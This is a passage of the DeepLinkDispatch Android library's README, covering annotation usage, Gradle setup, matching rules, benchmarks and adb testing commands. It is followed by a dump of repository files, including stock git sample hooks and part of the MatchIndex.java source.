@DeepLink({"foo://example.com/deepLink/{id}", "foo://example.com/anotherDeepLink"})
public class MainActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (intent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false)) {
Bundle parameters = intent.getExtras();
String idString = parameters.getString("id");
// Do something with idString
}
}
}
```
### DeepLinkHandler Annotations
You can annotate a Kotlin `object` that is extending `com.airbnb.deeplinkdispatch.handler.DeepLinkHandler`
with an `@DeepLink` annotation.
```kotlin
@DeepLink("foo://example.com/handlerDeepLink/{param1}?query1={queryParameter}")
object ProjectDeepLinkHandler : DeepLinkHandler<ProjectDeepLinkHandlerArgs>() {
override fun handleDeepLink(parameters: ProjectDeepLinkHandlerArgs) {
/**
* From here any internal/3rd party navigation framework can be called the provided args.
*/
}
}
data class ProjectDeepLinkHandlerArgs(
@DeeplinkParam("param1", DeepLinkParamType.Path) val number: Int,
@DeeplinkParam("query1", DeepLinkParamType.Query) val flag: Boolean?,
)
```
DeepLinkDispatch will then call the `handleDeepLink` function in your handler with the path placeholders
and queryParameters converted into an instance of the specified type class.
Query parameter conversion is supported for nullable and non nullable versions of `Boolean`,`Int`,
`Long`,`Short`,`Byte`,`Double`,`Float` and `String` as well as the same types in Java. For other
types see: [Type conversion](#type-conversion)
This will give compile time safety, as all placeholders and query parameters specified in the template
inside the `@DeepLink` annotation must be present in the arguments class for the processor to pass.
This is also true the other way around as all fields in the arguments class must be annotated and must
be present in the template inside the annotation.
From this function you can now call into any internal or 3rd party navigation system
without any Intent being fired at all and with type safety for your arguments.
*Note:* Even though they must be listed in the template and annotation, argument values annotated
with `DeepLinkParamType.Query` can be null as they are allowed to not be present in the matched url.
#### Type conversion
If you want to support the automatic conversions of types other than `Boolean`,`Int`,`Long`,`Short`,`Byte`,
`Double`,`Float` and `String` in deep link argument classes you can add support by adding your own type
converters in the `DeepLinkDelegate` class that you are instantiating.
Type conversion is handled via a lambda that you can set in the `DeepLinkDelegate` constructor.
All type converters you want to add get added to an instance of `TypeConverters` which then in turn
gets returned by the lambda. This way you can add type converters on the fly while the app is running
(e.g. if you just downloaded a dynamic feature which supports additional types).
There is an example of this in the `sample` app for this. Here is a brief overview:
```java
TypeConverters typeConverters = new TypeConverters();
typeConverters.put(ColorDrawable.class, value -> {
switch (value.toLowerCase()) {
case "red":
return new ColorDrawable(0xff0000ff);
}
});
Function0<TypeConverters> typeConvertersLambda = () -> typeConverters;
DeepLinkDelegate deepLinkDelegate = new DeepLinkDelegate(
...
typeConvertersLambda,
...);
```
#### Type conversion errors
If a url parameter cannot be converted to the specified type, the system will -- by default -- set the
value to `0` or `null`, depending on if the type is nullable. However this behavior can be overwritten
by implementing a lambda `Function3<DeepLinkUri, Type, String, Integer>` and setting it to
`typeConversionErrorNullable` and/or `typeConversionErrorNonNullable` via the `DeepLinkDelegate`
constructor. When called, the lambda will let you know about the matching `DeepLinkUri` template, the
type and the value that was tried to type convert so you can also log these events.
### Method Annotations
You can also annotate any `public static` method with `@DeepLink`. DeepLinkDispatch will call that
method to create the `Intent` and will use it when starting your `Activity` via that registered deep link:
```java
@DeepLink("foo://example.com/methodDeepLink/{param1}")
public static Intent intentForDeepLinkMethod(Context context) {
return new Intent(context, MainActivity.class)
.setAction(ACTION_DEEP_LINK_METHOD);
}
```
If you need access to the `Intent` extras, just add a `Bundle` parameter to your method, for example:
```java
@DeepLink("foo://example.com/methodDeepLink/{param1}")
public static Intent intentForDeepLinkMethod(Context context, Bundle extras) {
Uri.Builder uri = Uri.parse(extras.getString(DeepLink.URI)).buildUpon();
return new Intent(context, MainActivity.class)
.setData(uri.appendQueryParameter("bar", "baz").build())
.setAction(ACTION_DEEP_LINK_METHOD);
}
```
If you're using Kotlin, make sure you also annotate your method with `@JvmStatic`. `companion objects` will *not work*, so you can use an `object declaration` instead:
```kotlin
object DeeplinkIntents {
@JvmStatic
@DeepLink("https://example.com")
fun defaultIntent(context: Context, extras: Bundle): Intent {
return Intent(context, MyActivity::class.java)
}
}
```
If you need to customize your `Activity` backstack, you can return a `TaskStackBuilder` instead of an `Intent`. DeepLinkDispatch will call that method to create the `Intent` from the `TaskStackBuilder` last `Intent` and use it when starting your `Activity` via that registered deep link:
```java
@DeepLink("http://example.com/deepLink/{id}/{name}")
public static TaskStackBuilder intentForTaskStackBuilderMethods(Context context) {
Intent detailsIntent = new Intent(context, SecondActivity.class).setAction(ACTION_DEEP_LINK_COMPLEX);
Intent parentIntent = new Intent(context, MainActivity.class).setAction(ACTION_DEEP_LINK_COMPLEX);
TaskStackBuilder taskStackBuilder = TaskStackBuilder.create(context);
taskStackBuilder.addNextIntent(parentIntent);
taskStackBuilder.addNextIntent(detailsIntent);
return taskStackBuilder;
}
```
If, depending on app state or parameter values you have to either just start an `Intent` or a
`TaskStackBuilder`, you can return an instance of `DeepLinkMethodResult`, which can have any.
The system will pick whichever value is not null but will prefer the `TaskStackBuilder` if both
are not null.
```java
@DeepLink("dld://host/methodResult/intent")
public static DeepLinkMethodResult intentOrTaskStackBuilderViaDeeplinkMethodResult(Context context) {
TaskStackBuilder taskStackBuilder = null;
Intent intent = null;
if (someState) {
Intent detailsIntent = new Intent(context, SecondActivity.class);
Intent parentIntent = new Intent(context, MainActivity.class);
taskStackBuilder = TaskStackBuilder.create(context);
taskStackBuilder.addNextIntent(parentIntent);
taskStackBuilder.addNextIntent(detailsIntent);
} else {
intent = new Intent(context, MainActivity.class);
}
return new DeepLinkMethodResult(intent, taskStackBuilder);
}
```
### Query Parameters
Query parameters are parsed and passed along automatically, and are retrievable like any other parameter. For example, we could retrieve the query parameter passed along in the URI `foo://example.com/deepLink?qp=123`:
```java
@DeepLink("foo://example.com/deepLink")
public class MainActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (intent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false)) {
Bundle parameters = intent.getExtras();
if (parameters != null && parameters.getString("qp") != null) {
String queryParameter = parameters.getString("qp");
// Do something with the query parameter...
}
}
}
}
```
### Configurable path segment placeholders
Configurable path segment placeholders allow your to change configured elements of the URL path at runtime without changing the source of the library where the deeplink is defined. That way a library can be used in multiple apps that are still uniquely addressable via deeplinks. They are defined by encapsulating an id like this `<some_id>` and are only allowed as a path segment (between two slashes. `/`:
```java
@DeepLink("foo://cereal.com/<type_of_cereal>/nutritional_info")
public static Intent intentForNutritionalDeepLinkMethod(Context context) {
return new Intent(context, MainActivity.class)
.setAction(ACTION_DEEP_LINK_METHOD);
}
```
If you do this you do have to provide a mapping (at runtime) for which values are allowed for creating a match. This is done when you new the `DeeplinkDelegate` class like:
```java
@DeepLinkHandler({ AppDeepLinkModule.class, LibraryDeepLinkModule.class })
public class DeepLinkActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Configure a map for configurable placeholders if you are using any. If you do a mapping
// has to be provided for that are used
Map configurablePlaceholdersMap = new HashMap();
configurablePlaceholdersMap.put("type_of_cereal", "obamaos");
// DeepLinkDelegate, LibraryDeepLinkModuleRegistry and AppDeepLinkModuleRegistry
// are generated at compile-time.
DeepLinkDelegate deepLinkDelegate =
new DeepLinkDelegate(new AppDeepLinkModuleRegistry(), new LibraryDeepLinkModuleRegistry(), configurablePlaceholdersMap);
// Delegate the deep link handling to DeepLinkDispatch.
// It will start the correct Activity based on the incoming Intent URI
deepLinkDelegate.dispatchFrom(this);
// Finish this Activity since the correct one has been just started
finish();
}
}
```
This app will now match the Url `foo://cereal.com/obamaos/nutritional_info` to the `intentForNutritionalDeepLinkMethod` method for that app.
If you build another app and set `type_of_cereal` to `captnmaccains` that apps version of the `intentForNutritionalDeepLinkMethod` would be called when when opening `foo://cereal.com/captnmaccains/nutritional_info`
If you are using configurable path segment placeholders, a mapping has to be provided for every placeholder used. If you are missing one the app will crash at runtime.
#### Empty configurable path segment placeholders mapping
A mapping can be to an empty string, in that case the element is just ignored. In the above example if `configurablePlaceholdersMap.put("type_of_cereal", "");` is defined `foo://cereal.com/nutritional_info` would map to calling the `intentForNutritionalDeepLinkMethod` method. An empty configurable path segment placeholder is not allowed as the last path element in an URL!
### Callbacks
You can optionally register a `BroadcastReceiver` to be called on any incoming deep link into your
app. DeepLinkDispatch will use `LocalBroadcastManager` to broadcast an `Intent` with any success
or failure when deep linking. The intent will be populated with these extras:
* `DeepLinkHandler.EXTRA_URI`: The URI of the deep link.
* `DeepLinkHandler.EXTRA_SUCCESSFUL`: Whether the deep link was fired successfully.
* `DeepLinkHandler.EXTRA_ERROR_MESSAGE`: If there was an error, the appropriate error message.
You can register a receiver to receive this intent. An example of such a use is below:
```java
public class DeepLinkReceiver extends BroadcastReceiver {
private static final String TAG = "DeepLinkReceiver";
@Override public void onReceive(Context context, Intent intent) {
String deepLinkUri = intent.getStringExtra(DeepLinkHandler.EXTRA_URI);
if (intent.getBooleanExtra(DeepLinkHandler.EXTRA_SUCCESSFUL, false)) {
Log.i(TAG, "Success deep linking: " + deepLinkUri);
} else {
String errorMessage = intent.getStringExtra(DeepLinkHandler.EXTRA_ERROR_MESSAGE);
Log.e(TAG, "Error deep linking: " + deepLinkUri + " with error message +" + errorMessage);
}
}
}
public class YourApplication extends Application {
@Override public void onCreate() {
super.onCreate();
IntentFilter intentFilter = new IntentFilter(DeepLinkHandler.ACTION);
LocalBroadcastManager.getInstance(this).registerReceiver(new DeepLinkReceiver(), intentFilter);
}
}
```
### Custom Annotations
You can reduce the repetition in your deep links by creating custom annotations that provide
common prefixes that are automatically applied to every class or method annotated with your custom
annotation. A popular use case for this is with web versus app deep links:
```java
// Prefix all app deep link URIs with "app://airbnb"
@DeepLinkSpec(prefix = { "app://airbnb" })
// When using tools like Dexguard we require these annotations to still be inside the .dex files
// produced by D8 but because of this bug https://issuetracker.google.com/issues/168524920 they
// are not so we need to mark them as RetentionPolicy.RUNTIME.
@Retention(RetentionPolicy.RUNTIME)
public @interface AppDeepLink {
String[] value();
}
```
You can use placeholders (like in paths) in the scheme and host section of prefixes listed in the
`DeepLinkSpec`. e.g. if you want to match both http and https you can define it like this:
```java
// Match all deeplinks which a scheme staring with "http".
@DeepLinkSpec(prefix = { "http{url_scheme_suffix}://airbnb.com")
@Retention(RetentionPolicy.CLASS)
public @interface WebDeepLink {
String[] value();
}
```
You will get the value of `url_scheme_suffix` which -- in this case would be "" for http and "s"
when https is used -- in the extras bundle of your annotated method. If you want to limit which
values are accepted, you can do that directly within the placeholder by defining it with allowed
values like this: `http{url_scheme_suffix(|s)}://airbnb.com`. In this case valid values would be
`""` and `"s"` (`http` and `https`). Values are pipe(`|`) separated, there can only be one `(...)`
section per placeholder and it has to be at the end of the placeholder.
```java
// Match all deeplinks which a scheme staring with "http".
@DeepLinkSpec(prefix = { "http{url_scheme_suffix(|s)}://{prefix(|www.)}airbnb.{domain(com|de)}")
@Retention(RetentionPolicy.CLASS)
public @interface WebDeepLink {
String[] value();
}
```
The above code would match URLs that start with `http` or `https`, are for `airbnb.com` or
`airbnb.de` or `www.airbnb.com` and `www.airbnb.de`. They would e.g. not match `airbnb.ro`.
```java
// This activity is gonna handle the following deep links:
// "app://airbnb/view_users"
// "http://airbnb.com/users"
// "http://airbnb.com/user/{id}"
// "https://airbnb.com/users"
// "https://airbnb.com/user/{id}"
@AppDeepLink({ "/view_users" })
@WebDeepLink({ "/users", "/user/{id}" })
public class CustomPrefixesActivity extends AppCompatActivity {
//...
}
```
This can be very useful if you want to use it with country prefxes in hostnames e.g.
```java
// Match all deeplinks that have a scheme starting with http and also match any deeplink that
// starts with .airbnb.com as well as ones that are only airbnb.com
@DeepLinkSpec(prefix = { "http{url_scheme_suffix}://{country_prefix}.airbnb.com",
"http{url_scheme_suffix}://airbnb.com")
@Retention(RetentionPolicy.CLASS)
public @interface WebDeepLink {
String[] value();
}
```
which saves you from defining a lot prefixes.
## Usage
Add to your project `build.gradle` file (Latest version is [![DeeplinkDispatch version](https://badge.fury.io/gh/airbnb%2FDeepLinkDispatch.svg)](https://badge.fury.io/gh/airbnb%2FDeepLinkDispatch)
):
```groovy
dependencies {
implementation 'com.airbnb:deeplinkdispatch:x.x.x'
}
```
DeeplinkDispatch supports three ways to run the annotation processor dependin on which one you choose
the setup is slightly different.
### KSP
When using Kotlin we strongly suggest to use KSP as it can bring major speed improvements.
To run the processor via KSP you first have to apply the KSP plugin. Add the dependency to the
`build.gradle` file of your main project:
```groovy
buildscript {
apply from: rootProject.file("dependencies.gradle")
repositories {
google()
gradlePluginPortal()
}
dependencies {
classpath "com.google.devtools.ksp:com.google.devtools.ksp.gradle.plugin:<ksp-version>"
}
}
```
Apply the plugin in the `build.gradle` file of the project you want to use it:
```groovy
plugins {
id("com.google.devtools.ksp")
}
```
and don't forget the dependency to the annotation procesor and DeepLinkDispatch itself:
```groovy
dependencies {
implementation 'com.airbnb:deeplinkdispatch:x.x.x'
ksp 'com.airbnb:deeplinkdispatch-processor:x.x.x'
}
```
**Note:** When using KSP (you have `ksp 'com.airbnb:deeplinkdispatch-processor:x.x.x'` in your dependencies) at least one Kotlin source file *must* be present in the project or no output will be generated!
As an example the main `sample` app is set up using KSP.
### Kapt
If your project is already setup for Kotlin the only thing you have to add is the plugin:
```groovy
plugins {
id("kotlin-kapt")
}
```
and don't forget the dependency to the annotation procesor and DeepLinkDispatch itself:
```groovy
dependencies {
implementation 'com.airbnb:deeplinkdispatch:x.x.x'
kapt 'com.airbnb:deeplinkdispatch-processor:x.x.x'
}
```
As an example the `sample-kapt-library` is set up using Kapt
### Java annotation processor
Just add the dependency to DeepLinkDispatch and to the annotation processor:
```groovy
dependencies {
implementation 'com.airbnb:deeplinkdispatch:x.x.x'
annotationProcessor 'com.airbnb:deeplinkdispatch-processor:x.x.x'
}
```
As an example the `sample-library` is set up using the Java annotation processor
When this is done, create your deep link module(s) (**new on DeepLinkDispatch v3**). For every class you annotate with `@DeepLinkModule`, DeepLinkDispatch will generate a "Registry" class, which contains a registry of all your `@DeepLink` annotations.
```java
/** This will generate a AppDeepLinkModuleRegistry class */
@DeepLinkModule
public class AppDeepLinkModule {
}
```
**Optional**: If your Android application contains multiple modules (eg. separated Android library projects), you'll want to add one `@DeepLinkModule` class for every module in your application, so that DeepLinkDispatch can collect all your annotations in one "Registry" class per module:
```java
/** This will generate a LibraryDeepLinkModuleRegistry class */
@DeepLinkModule
public class LibraryDeepLinkModule {
}
```
Create any `Activity` (eg. `DeepLinkActivity`) with the scheme you'd like to handle in your `AndroidManifest.xml` file (using `foo` as an example):
```xml
<activity
android:name="com.example.DeepLinkActivity"
android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="foo" />
</intent-filter>
</activity>
```
Annotate your `DeepLinkActivity` with `@DeepLinkHandler` and provide it a list of `@DeepLinkModule` annotated class(es):
```java
@DeepLinkHandler({ AppDeepLinkModule.class, LibraryDeepLinkModule.class })
public class DeepLinkActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// DeepLinkDelegate, LibraryDeepLinkModuleRegistry and AppDeepLinkModuleRegistry
// are generated at compile-time.
DeepLinkDelegate deepLinkDelegate =
new DeepLinkDelegate(new AppDeepLinkModuleRegistry(), new LibraryDeepLinkModuleRegistry());
// Delegate the deep link handling to DeepLinkDispatch.
// It will start the correct Activity based on the incoming Intent URI
deepLinkDelegate.dispatchFrom(this);
// Finish this Activity since the correct one has been just started
finish();
}
}
```
of
```java
@DeepLinkHandler({ AppDeepLinkModule.class, LibraryDeepLinkModule.class })
public class DeepLinkActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Configure a map for configurable placeholders if you are using any. If you do a mapping
// has to be provided for that are used
Map configurablePlaceholdersMap = new HashMap();
configurablePlaceholdersMap.put("your_values", "what should match");
// DeepLinkDelegate, LibraryDeepLinkModuleRegistry and AppDeepLinkModuleRegistry
// are generated at compile-time.
DeepLinkDelegate deepLinkDelegate =
new DeepLinkDelegate(new AppDeepLinkModuleRegistry(), new LibraryDeepLinkModuleRegistry(), configurablePlaceholdersMap);
// Delegate the deep link handling to DeepLinkDispatch.
// It will start the correct Activity based on the incoming Intent URI
deepLinkDelegate.dispatchFrom(this);
// Finish this Activity since the correct one has been just started
finish();
}
}
```
if you use configurable path segments
### Upgrading
When upgrading to 5.x+ you may experience some breaking API changes. Read about them [here](UPGRADING.md).
### Incremental annotation processing
You must update your build.gradle to opt into incremental annotation processing. When enabled, all custom deep link annotations must be registered in the build.gradle (pipe (`|`) separated), otherwise they will be silently ignored.
Examples of this configuration are as follows:
**Standard**
```groovy
javaCompileOptions {
annotationProcessorOptions {
arguments = [
'deepLink.incremental': 'true',
'deepLink.customAnnotations': 'com.airbnb.AppDeepLink|com.airbnb.WebDeepLink'
]
}
}
```
**Kotlin kapt**
```groovy
kapt {
arguments {
arg("deepLink.incremental", "true")
arg("deepLink.customAnnotations", "com.airbnb.AppDeepLink|com.airbnb.WebDeepLink")
}
}
```
**KSP**
KSP is always incremental and you always have to provide the list of `deepLink.customAnnotation` if
you have any or they will not be processed.
```groovy
ksp {
arg("deepLink.incremental", "true")
arg("deepLink.customAnnotations", "com.airbnb.AppDeepLink|com.airbnb.WebDeepLink")
}
```
### Performance
Starting with v5 DeeplinkDispatch is designed to be very fast in resolving deep links even if there are a lot of them. To ensure we do not regress from this benchmark tests using [`androidx.benchmark`](https://developer.android.com/studio/profile/benchmark#top_of_page) were added.
It is testing the `ScaleTestActivity` in the `sample-benchmarkable-library` which has 2000 deep links. For those on a Pixel 2 running Android 11 we expect the following results:
```text
Started running tests
benchmark: 11,716 ns DeeplinkBenchmarks.match1
benchmark: 139,375 ns DeeplinkBenchmarks.match500
benchmark: 2,163,907 ns DeeplinkBenchmarks.newRegistry
benchmark: 23,035 ns DeeplinkBenchmarks.match1000
benchmark: 152,969 ns DeeplinkBenchmarks.match1500
benchmark: 278,906 ns DeeplinkBenchmarks.match2000
benchmark: 162,604 ns DeeplinkBenchmarks.createResultDeeplink1
benchmark: 11,774 ns DeeplinkBenchmarks.parseDeeplinkUrl
Tests ran to completion.
```
As you can see it takes us about 2ms to create the registry with 2000 entries. A lookup can be done in sub 1ms usually and `createResult`, which includes the lookup for the `match1` case plus actually calling the method that was annotated, can be done in under 0.2ms.
The performance tests can be run from Android Studio or via gradle by running `./gradlew sample-benchmark:connectedCheck` (with a device connected). The outoput can be found in `sample-benchmark/build/outputs/connected_android_test_additional_output/`.
### Notes
* Starting with DeepLinkDispatch v3, you have to **always** provide your own `Activity` class and annotate it with `@DeepLinkHandler`. It's no longer automatically generated by the annotation processor.
* Intent filters may only contain a single data element for a URI pattern. Create separate intent filters to capture additional URI patterns.
* Please refer to the [sample app](https://github.com/airbnb/DeepLinkDispatch/blob/master/sample/src/main/java/com/airbnb/deeplinkdispatch/sample/DeepLinkActivity.java) for an example of how to use the library.
Snapshots of the development version are available in
[Sonatype's `snapshots` repository](https://oss.sonatype.org/content/repositories/snapshots/).
To access the snapshots add this to your `build.gradle` file:
```groovy
repositories {
maven {
url "https://oss.sonatype.org/content/repositories/snapshots/"
}
}
```
### Generated deep links Documentation
You can tell DeepLinkDispatch to generate text a document with all your deep link annotations, which you can use for further processing and/or reference.
Note: Passing a fully qualified file path string as an argument to any compilation task will cause the cache key to be non-relocateable from one machine to another.
In order to do that, add to your `build.gradle` file:
```groovy
tasks.withType(JavaCompile) {
options.compilerArgs << "-AdeepLinkDoc.output=${buildDir}/doc/deeplinks.txt"
}
```
When using Kotlin Kapt
```groovy
kapt {
arguments {
arg("deepLinkDoc.output", "${buildDir}/doc/deeplinks.txt")
}
}
```
and if you are using KSP
```groovy
ksp {
arg("deepLinkDoc.output", "${buildDir}/doc/deeplinks.txt")
}
```
The documentation will be generated in the following format:
```
* {DeepLink1}\n|#|\n[Description part of javadoc]\n|#|\n{ClassName}#[MethodName]\n|##|\n
* {DeepLink2}\n|#|\n[Description part of javadoc]\n|#|\n{ClassName}#[MethodName]\n|##|\n
```
You can also generate the output in a much more readable Markdown format by naming the output file `*.md` (e.g. `deeplinks.md`). Make sure that your Markdown viewer understands tables.
### Matching and edge cases
Deeplink Dispatchs matching algo is designed to match non ambiguous structured URI style data very fast but because of the supported featureset it comes with some edge cases.
We organize the URI data (of all URIs that are in your app) in a tree structure that is created per module. The URI is dissolved into that tree structure and inserted into that graph at build time. We do not allow duplicates inside the tree at built time and having them will fail the build. However this is currently only guaranteed for each module not across modules.)
![Example of a DeeplinkDispagch match graph](images/dld_graph.png)
At runtime we traverse the graph for each module to find the correct action to undertake. The algo just walks the input URI until the last element and *never* backtracks inside the graph. The children of each element are checked for matches in alphabetic order:
`elements without any variable element -> elements containing placeholders -> elements that are a configurable path segment`
#### Edge cases
* Duplicates can exist between modules. Only the first one found will be reported as a match. Modules are processed in the order the module registries are listed in your `DeepLinkDelegate` creation.
* Placeholders can lead to duplications at runtime e.g. `dld://airbnb/dontdupeme` will match both `@Deeplink('dld://airbnb/{qualifier}dupeme')` and `@Deeplink('dld://airbnb/dontdupeme')`. They can both be defined in the same module as they are not identical. If they are defined in the same module the algo will match `@Deeplink('dld://airbnb/dontdupeme')` as it would check litereal matches before looking at elements containing placeholders. If they are not defined in the same module the one defined in the registry listed first in `DeeplinkDelegate` will be matched.
* Configurable path segments can lead to duplicates. e.g. `dld://airbnb/obamaos/cereal` will match both `@Deeplink('dld://airbnb/obamaos/cereal/')` and `@Deeplink('dld://airbnb/<brand>/cereal')` if `<brand>` is configured to be `obamaos`. The same match rules as mentioned before apply here.
* Configurable path segments can have empty values e.g. `<brand>` can be set to `""` in the previous example. Which would then match `dld://airbnb/cereal`. If a deeplink like that is defined already somewhere else the same match rules as mentioned before apply to which match actually gets found.
* Because of limitations of the algo the last path element (the item behind the last slash) cannot be a configurable path segment with it's value set to `""`. Currently the system will allow you to do this but will not correctly match in that case.
## Proguard/R8 Rules
The Proguard/R8 rules mandatory for teh lib are defined in the [proguard-rules.pro](deeplinkdispatch/proguard-rules.pro) in `deeplinkdispatch`. However
they are already included via `consumerProguardFiles` so there is nothing you have to do to include them.
Please note however that you must add your own Proguard/R8 rules to keep Custom annotations you have used. For example:
```
-keep @interface your.package.path.deeplink.<annotation class name>
-keepclasseswithmembers class * {
@your.package.path.deeplink.<annotation class name> <methods>;
}
```
## Testing the sample app
Use adb to launch deep links (in the terminal type: `adb shell`).
This fires a standard deep link. Source annotation `@DeepLink("dld://example.com/deepLink")`
`am start -W -a android.intent.action.VIEW -d "dld://example.com/deepLink" com.airbnb.deeplinkdispatch.sample`
This fires a deep link associated with a method, and also passes along a path parameter. Source annotation `@DeepLink("dld://methodDeepLink/{param1}")`
`am start -W -a android.intent.action.VIEW -d "dld://methodDeepLink/abc123" com.airbnb.deeplinkdispatch.sample`
You can include multiple path parameters (also you don't have to include the sample app's package name). Source annotation `@DeepLink("http://example.com/deepLink/{id}/{name}")`
`am start -W -a android.intent.action.VIEW -d "http://example.com/deepLink/123abc/myname"`
Note it is possible to call directly `adb shell am ...` however this seems to miss the URI sometimes so better to call from within shell.
## License
```
Copyright 2015-2020 Airbnb, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "deeplinkdispatch-base\\src\\main\\java\\com\\airbnb\\deeplinkdispatch\\base\\MatchIndex.java": "package com.airbnb.deeplinkdispatch.base;\n\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\n\nimport com.airbnb.deeplinkdispatch.DeepLinkUri;\nimport com.airbnb.deeplinkdispatch.DeepLinkMatchResult;\nimport com.airbnb.deeplinkdispatch.MatchType;\nimport com.airbnb.deeplinkdispatch.NodeMetadata;\nimport com.airbnb.deeplinkdispatch.DeepLinkEntry;\nimport com.airbnb.deeplinkdispatch.UrlElement;\n\nimport java.io.UnsupportedEncodingException;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * This is a wrapper class around the byte array match index.\n * <p>Byte array format is:</p>\n * <hr/>\n * <table border=\"1\">\n * <tr>\n * <td>Node's metadata flags</td>\n * <td>value length</td>\n * <td>match length</td>\n * <td>children length</td>\n * <td>value data</td>\n * <td>match data</td>\n * <td>children data</td>\n * </tr>\n * <tr>\n * <td>0 (1 byte)</td>\n * <td>1 (2 bytes)</td>\n * <td>2 (2 bytes)</td>\n * <td>4 (4 bytes)</td>\n * <td>8 (value length bytes)</td>\n * <td>8+value length (match length bytes)</td>\n * <td>8+value length+match length (children length bytes)</td>\n * </tr>\n * <tr>\n * <td>{@linkplain com.airbnb.deeplinkdispatch.NodeMetadata} e.g. scheme, authority, path segment,\n * transformation</td>\n * <td>length of the node's (string) value.</td>\n * <td>length of the node's match length (can be 0 if this is no leaf note that has\n * encodes a match.</td>\n * <td>length of the node's children sub array.</td>\n * <td>actual value sub array</td>\n * <td>match data sub array (if match length is 0 this does not exist)</td>\n * <td>children data sub array</td>\n * </tr>\n * </table>\n * <hr/>\n * <p>\n * This is implemented in Java for speed reasons. Converting this class to Kotlin made the\n * whole lookup operation multiple times slower.\n * This is most likely not a Kotlin issue but some syntactic sugar used must have crated some\n * overhead.\n * As this is very \"bare metal\" anyway it was \"safer\" to write this in Java to avoid any\n * instructions to be added that are not necessary.</p>\n */\npublic class MatchIndex {\n /**\n * Encoding used for serialization\n */\n @NonNull\n public static final String MATCH_INDEX_ENCODING = \"ISO_8859_1\";\n\n /**\n * Length of header elements in bytes\n */\n public static final int HEADER_NODE_METADATA_LENGTH = 1;\n public static final int HEADER_VALUE_LENGTH = 2;\n public static final int HEADER_MATCH_LENGTH = 2;\n public static final int HEADER_CHILDREN_LENGTH = 4;\n public static final int MATCH_DATA_URL_TEMPLATE_LENGTH = 2;\n public static final int MATCH_DATA_TYPE_LENGTH = 1;\n public static final int MATCH_DATA_CLASS_LENGTH = 2;\n public static final int MATCH_DATA_METHOD_LENGTH = 1;\n\n public static final int HEADER_LENGTH = HEADER_NODE_METADATA_LENGTH + HEADER_VALUE_LENGTH\n + HEADER_MATCH_LENGTH + HEADER_CHILDREN_LENGTH;\n\n @NonNull\n public static final String ROOT_VALUE = \"r\";\n\n // Used to separate param and param value in compare return value (record separator)\n @NonNull\n public static final String MATCH_PARAM_DIVIDER_CHAR = String.valueOf((char) 0x1e);\n @NonNull\n public static final char[] VARIABLE_DELIMITER = {'{', '}'};\n\n @NonNull\n public static final char[] ALLOWED_VALUES_DELIMITER = {'(', ')'};\n\n @NonNull\n public static final char ALLOWED_VALUES_SEPARATOR = '|';\n\n private static final String ALLOWED_VALUES_SEPARATOR_REGEX_STRING =\n \"\\\\\" + ALLOWED_VALUES_SEPARATOR;\n\n @NonNull\n public final byte[] byteArray;\n\n public MatchIndex(@NonNull byte[] byteArray) {\n this.byteArray = byteArray;\n }\n\n /**\n * Match a given {@link com.airbnb.deeplinkdispatch.DeepLinkUri} (given as a List of\n * {@link UrlElement} against this searchh index.\n * Will return an instance of {@link DeepLinkEntry} if a match was found or null if there wasn't.\n *\n *\n * @param deeplinkUri The uri that should be matched\n * @param elements The {@link UrlElement} list of\n * the {@link DeepLinkUri} to match against. Must be\n * in correct order (scheme -> host -> path elements)\n * @param placeholders Placeholders (that are encoded at {name} in the Url inside the index. Used\n * to collect the set of placeholders and their values as\n * the {@link DeepLinkUri} is recursively\n * processed.\n * @param elementIndex The index of the element currently processed in the elements list above.\n * @param elementStartPosition The index of the start position of the current element int he\n * byte array search index.\n * @param parentBoundaryPos The last element that is still part of the parent element. While\n * looking at children of a current element that is the last element of\n * the last child.\n * @param pathSegmentReplacements A map of configurable path segment replacements and their\n * values.\n * @return An instance of {@link DeepLinkEntry} if a match was found null if it wasn't.\n */\n public DeepLinkMatchResult matchUri(@NonNull DeepLinkUri deeplinkUri,\n @NonNull List<UrlElement> elements,\n @Nullable Map<String, String> placeholders,\n int elementIndex,\n int elementStartPosition,\n int parentBoundaryPos,\n Map<byte[], byte[]> pathSegmentReplacements) {\n DeepLinkMatchResult match = null;\n int currentElementStartPosition = elementStartPosition;\n do {\n UrlElement urlElement = elements.get(elementIndex);\n CompareResult compareResult =\n compareValue(currentElementStartPosition, urlElement.getTypeFlag(),\n 